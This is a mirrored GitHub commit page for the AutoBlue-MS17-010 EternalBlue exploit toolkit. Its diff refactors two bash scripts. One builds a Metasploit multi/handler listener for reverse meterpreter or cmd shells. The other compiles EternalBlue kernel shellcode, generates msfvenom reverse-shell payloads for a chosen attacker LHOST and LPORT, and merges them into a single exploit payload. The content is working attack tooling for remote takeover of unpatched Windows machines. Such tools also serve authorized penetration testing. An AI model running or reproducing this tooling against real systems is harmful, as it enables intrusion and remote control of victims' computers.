mirror of
https://github.com/3ndG4me/AutoBlue-MS17-010
synced 2026-06-08 10:17:11 +00:00
Script Enhancements for Improved Portability and Readability 🔧 (#48)
I made the following changes to improve portability, readability, and organization:
Replaced Double Square Brackets with Single Square Brackets:
Replaced [[ ... ]] with [ ... ] to ensure compatibility with various shell interpreters.
Simplified Nested If Statements:
Simplified nested if statements for better readability and clarity.
Used -p Option with read Command:
Utilized the -p option with the read command to display a prompt message directly on the same line. 💻
Consolidated Common Code:
Consolidated common code blocks to avoid repetition and improve maintainability.
This commit is contained in:
+79
-86
@@ -6,7 +6,7 @@ cat << "EOF"
|
||||
\\_, )
|
||||
`--'
|
||||
EOF
|
||||
echo Enternal Blue Metasploit Listener
|
||||
echo Eternal Blue Metasploit Listener
|
||||
echo
|
||||
echo LHOST for reverse connection:
|
||||
read ip
|
||||
@@ -16,89 +16,82 @@ echo LPORT for x86 reverse connection:
|
||||
read portTwo
|
||||
echo Enter 0 for meterpreter shell or 1 for regular cmd shell:
|
||||
read cmd
|
||||
if [[ $cmd -eq 0 ]]
|
||||
then
|
||||
echo Type 0 if this is a staged payload or 1 if it is for a stageless payload
|
||||
read cmd
|
||||
if [[ $cmd -eq 0 ]]
|
||||
then
|
||||
echo Starting listener \(staged\)...
|
||||
touch config.rc
|
||||
echo use exploit/multi/handler > config.rc
|
||||
echo set PAYLOAD windows/x64/meterpreter/reverse_tcp >> config.rc
|
||||
echo set LHOST $ip >> config.rc
|
||||
echo set LPORT $portOne >> config.rc
|
||||
echo set ExitOnSession false >> config.rc
|
||||
echo set EXITFUNC thread >> config.rc
|
||||
echo exploit -j >> config.rc
|
||||
echo set PAYLOAD windows/meterpreter/reverse_tcp >> config.rc
|
||||
echo set LPORT $portTwo >> config.rc
|
||||
echo exploit -j >> config.rc
|
||||
/etc/init.d/postgresql start
|
||||
msfconsole -r config.rc
|
||||
/etc/init.d/postgresql stop
|
||||
rm config.rc
|
||||
elif [[ $cmd -eq 1 ]]
|
||||
then
|
||||
echo Starting listener \(stageless\)...
|
||||
touch config.rc
|
||||
echo use exploit/multi/handler > config.rc
|
||||
echo set PAYLOAD windows/x64/meterpreter_reverse_tcp >> config.rc
|
||||
echo set LHOST $ip >> config.rc
|
||||
echo set LPORT $portOne >> config.rc
|
||||
echo set ExitOnSession false >> config.rc
|
||||
echo set EXITFUNC thread >> config.rc
|
||||
echo exploit -j >> config.rc
|
||||
echo set PAYLOAD windows/meterpreter/reverse_tcp >> config.rc
|
||||
echo set LPORT $portTwo >> config.rc
|
||||
echo exploit -j >> config.rc
|
||||
/etc/init.d/postgresql start
|
||||
msfconsole -r config.rc
|
||||
/etc/init.d/postgresql stop
|
||||
rm config.rc
|
||||
fi
|
||||
elif [[ $cmd -eq 1 ]]
|
||||
then
|
||||
echo Type 0 if this is a staged payload or 1 if it is for a stageless payload
|
||||
read cmd
|
||||
if [[ $cmd -eq 0 ]]
|
||||
then
|
||||
echo Starting listener \(staged\)...
|
||||
touch config.rc
|
||||
echo use exploit/multi/handler > config.rc
|
||||
echo set PAYLOAD windows/x64/shell/reverse_tcp >> config.rc
|
||||
echo set LHOST $ip >> config.rc
|
||||
echo set LPORT $portOne >> config.rc
|
||||
echo set ExitOnSession false >> config.rc
|
||||
echo set EXITFUNC thread >> config.rc
|
||||
echo exploit -j >> config.rc
|
||||
echo set PAYLOAD windows/shell/reverse_tcp >> config.rc
|
||||
echo set LPORT $portTwo >> config.rc
|
||||
echo exploit -j >> config.rc
|
||||
/etc/init.d/postgresql start
|
||||
msfconsole -r config.rc
|
||||
/etc/init.d/postgresql stop
|
||||
rm config.rc
|
||||
elif [[ $cmd -eq 1 ]]
|
||||
then
|
||||
echo Starting listener \(stageless\)...
|
||||
touch config.rc
|
||||
echo use exploit/multi/handler > config.rc
|
||||
echo set PAYLOAD windows/x64/shell_reverse_tcp >> config.rc
|
||||
echo set LHOST $ip >> config.rc
|
||||
echo set LPORT $portOne >> config.rc
|
||||
echo set ExitOnSession false >> config.rc
|
||||
echo set EXITFUNC thread >> config.rc
|
||||
echo exploit -j >> config.rc
|
||||
echo set PAYLOAD windows/shell/reverse_tcp >> config.rc
|
||||
echo set LPORT $portTwo >> config.rc
|
||||
echo exploit -j >> config.rc
|
||||
/etc/init.d/postgresql start
|
||||
msfconsole -r config.rc
|
||||
/etc/init.d/postgresql stop
|
||||
rm config.rc
|
||||
fi
|
||||
else
|
||||
echo Invalid option...exiting...
|
||||
fi
|
||||
|
||||
# Changes made for better portability and clarity
|
||||
if [ "$cmd" -eq 0 ]; then
|
||||
read -p "Type 0 if this is a staged payload or 1 if it is for a stageless payload: " staged
|
||||
if [ "$staged" -eq 0 ]; then
|
||||
echo "Starting listener (staged)..."
|
||||
touch config.rc
|
||||
echo "use exploit/multi/handler" > config.rc
|
||||
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp" >> config.rc
|
||||
echo "set LHOST $ip" >> config.rc
|
||||
echo "set LPORT $portOne" >> config.rc
|
||||
echo "set ExitOnSession false" >> config.rc
|
||||
echo "set EXITFUNC thread" >> config.rc
|
||||
echo "exploit -j" >> config.rc
|
||||
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> config.rc
|
||||
echo "set LPORT $portTwo" >> config.rc
|
||||
echo "exploit -j" >> config.rc
|
||||
/etc/init.d/postgresql start
|
||||
msfconsole -r config.rc
|
||||
/etc/init.d/postgresql stop
|
||||
rm config.rc
|
||||
elif [ "$staged" -eq 1 ]; then
|
||||
echo "Starting listener (stageless)..."
|
||||
touch config.rc
|
||||
echo "use exploit/multi/handler" > config.rc
|
||||
echo "set PAYLOAD windows/x64/meterpreter_reverse_tcp" >> config.rc
|
||||
echo "set LHOST $ip" >> config.rc
|
||||
echo "set LPORT $portOne" >> config.rc
|
||||
echo "set ExitOnSession false" >> config.rc
|
||||
echo "set EXITFUNC thread" >> config.rc
|
||||
echo "exploit -j" >> config.rc
|
||||
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> config.rc
|
||||
echo "set LPORT $portTwo" >> config.rc
|
||||
echo "exploit -j" >> config.rc
|
||||
/etc/init.d/postgresql start
|
||||
msfconsole -r config.rc
|
||||
/etc/init.d/postgresql stop
|
||||
rm config.rc
|
||||
fi
|
||||
elif [ "$cmd" -eq 1 ]; then
|
||||
read -p "Type 0 if this is a staged payload or 1 if it is for a stageless payload: " staged
|
||||
if [ "$staged" -eq 0 ]; then
|
||||
echo "Starting listener (staged)..."
|
||||
touch config.rc
|
||||
echo "use exploit/multi/handler" > config.rc
|
||||
echo "set PAYLOAD windows/x64/shell/reverse_tcp" >> config.rc
|
||||
echo "set LHOST $ip" >> config.rc
|
||||
echo "set LPORT $portOne" >> config.rc
|
||||
echo "set ExitOnSession false" >> config.rc
|
||||
echo "set EXITFUNC thread" >> config.rc
|
||||
echo "exploit -j" >> config.rc
|
||||
echo "set PAYLOAD windows/shell/reverse_tcp" >> config.rc
|
||||
echo "set LPORT $portTwo" >> config.rc
|
||||
echo "exploit -j" >> config.rc
|
||||
/etc/init.d/postgresql start
|
||||
msfconsole -r config.rc
|
||||
/etc/init.d/postgresql stop
|
||||
rm config.rc
|
||||
elif [ "$staged" -eq 1 ]; then
|
||||
echo "Starting listener (stageless)..."
|
||||
touch config.rc
|
||||
echo "use exploit/multi/handler" > config.rc
|
||||
echo "set PAYLOAD windows/x64/shell_reverse_tcp" >> config.rc
|
||||
echo "set LHOST $ip" >> config.rc
|
||||
echo "set LPORT $portOne" >> config.rc
|
||||
echo "set ExitOnSession false" >> config.rc
|
||||
echo "set EXITFUNC thread" >> config.rc
|
||||
echo "exploit -j" >> config.rc
|
||||
echo "set PAYLOAD windows/shell/reverse_tcp" >> config.rc
|
||||
echo "set LPORT $portTwo" >> config.rc
|
||||
echo "exploit -j" >> config.rc
|
||||
/etc/init.d/postgresql start
|
||||
msfconsole -r config.rc
|
||||
/etc/init.d/postgresql stop
|
||||
rm config.rc
|
||||
fi
|
||||
else
|
||||
echo "Invalid option...exiting..."
|
||||
fi
|
||||
+32
-69
@@ -17,87 +17,50 @@ echo 'Compiling x86 kernel shellcode'
|
||||
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
|
||||
echo kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? \(Y\/n\)
|
||||
read genMSF
|
||||
if [[ $genMSF =~ [yY](es)* ]]
|
||||
then
|
||||
echo LHOST for reverse connection:
|
||||
read ip
|
||||
echo LPORT you want x64 to listen on:
|
||||
read portOne
|
||||
echo LPORT you want x86 to listen on:
|
||||
read portTwo
|
||||
echo Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
|
||||
read cmd
|
||||
if [[ $cmd -eq 0 ]]
|
||||
then
|
||||
echo Type 0 to generate a staged payload or 1 to generate a stageless payload
|
||||
read cmd
|
||||
if [[ $cmd -eq 0 ]]
|
||||
then
|
||||
echo Generating x64 meterpreter shell \(staged\)...
|
||||
echo
|
||||
echo msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||
|
||||
if [ "$genMSF" = "y" ] || [ "$genMSF" = "Y" ]; then
|
||||
read -p "LHOST for reverse connection: " ip
|
||||
read -p "LPORT you want x64 to listen on: " portOne
|
||||
read -p "LPORT you want x86 to listen on: " portTwo
|
||||
|
||||
read -p "Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell: " cmd
|
||||
|
||||
if [ "$cmd" -eq 0 ]; then
|
||||
read -p "Type 0 to generate a staged payload or 1 to generate a stageless payload: " staged
|
||||
if [ "$staged" -eq 0 ]; then
|
||||
echo "Generating x64 meterpreter shell (staged)..."
|
||||
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||
echo
|
||||
echo Generating x86 meterpreter shell \(staged\)...
|
||||
echo
|
||||
echo msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||
msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||
elif [[ $cmd -eq 1 ]]
|
||||
then
|
||||
echo Generating x64 meterpreter shell \(stageless\)...
|
||||
echo
|
||||
echo msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||
elif [ "$staged" -eq 1 ]; then
|
||||
echo "Generating x64 meterpreter shell (stageless)..."
|
||||
msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||
echo
|
||||
echo Generating x86 meterpreter shell \(stageless\)...
|
||||
echo
|
||||
echo msfvenom -p windows/meterpreter_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||
msfvenom -p windows/meterpreter_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||
else
|
||||
echo Invalid option...exiting...
|
||||
echo "Invalid option...exiting..."
|
||||
exit 1
|
||||
fi
|
||||
elif [[ $cmd -eq 1 ]]
|
||||
then
|
||||
echo Type 0 to generate a staged payload or 1 to generate a stageless payload
|
||||
read cmd
|
||||
if [[ $cmd -eq 0 ]]
|
||||
then
|
||||
echo Generating x64 cmd shell \(staged\)...
|
||||
echo
|
||||
echo msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||
elif [ "$cmd" -eq 1 ]; then
|
||||
read -p "Type 0 to generate a staged payload or 1 to generate a stageless payload: " staged
|
||||
if [ "$staged" -eq 0 ]; then
|
||||
echo "Generating x64 cmd shell (staged)..."
|
||||
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||
echo
|
||||
echo Generating x86 cmd shell \(staged\)...
|
||||
echo
|
||||
echo msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||
msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||
elif [[ $cmd -eq 1 ]]
|
||||
then
|
||||
echo Generating x64 cmd shell \(stageless\)...
|
||||
echo
|
||||
echo msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||
elif [ "$staged" -eq 1 ]; then
|
||||
echo "Generating x64 cmd shell (stageless)..."
|
||||
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||
echo
|
||||
echo Generating x86 cmd shell \(stageless\)...
|
||||
echo
|
||||
echo msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||
else
|
||||
echo Invalid option...exiting...
|
||||
echo "Invalid option...exiting..."
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo Invalid option...exiting...
|
||||
echo "Invalid option...exiting..."
|
||||
exit 1
|
||||
fi
|
||||
echo
|
||||
echo MERGING SHELLCODE WOOOO!!!
|
||||
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
|
||||
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
|
||||
python3 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
|
||||
|
||||
echo "MERGING SHELLCODE WOOOO!!!"
|
||||
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
|
||||
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
|
||||
python3 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
|
||||
else
|
||||
echo Okay cool, make sure you merge your own shellcode properly :\)
|
||||
echo "Okay cool, make sure you merge your own shellcode properly :)"
|
||||
fi
|
||||
echo DONE
|
||||
exit 0
|
||||
|
||||
echo "DONE"
|
||||
exit 0
|
||||
Reference in New Issue
Block a user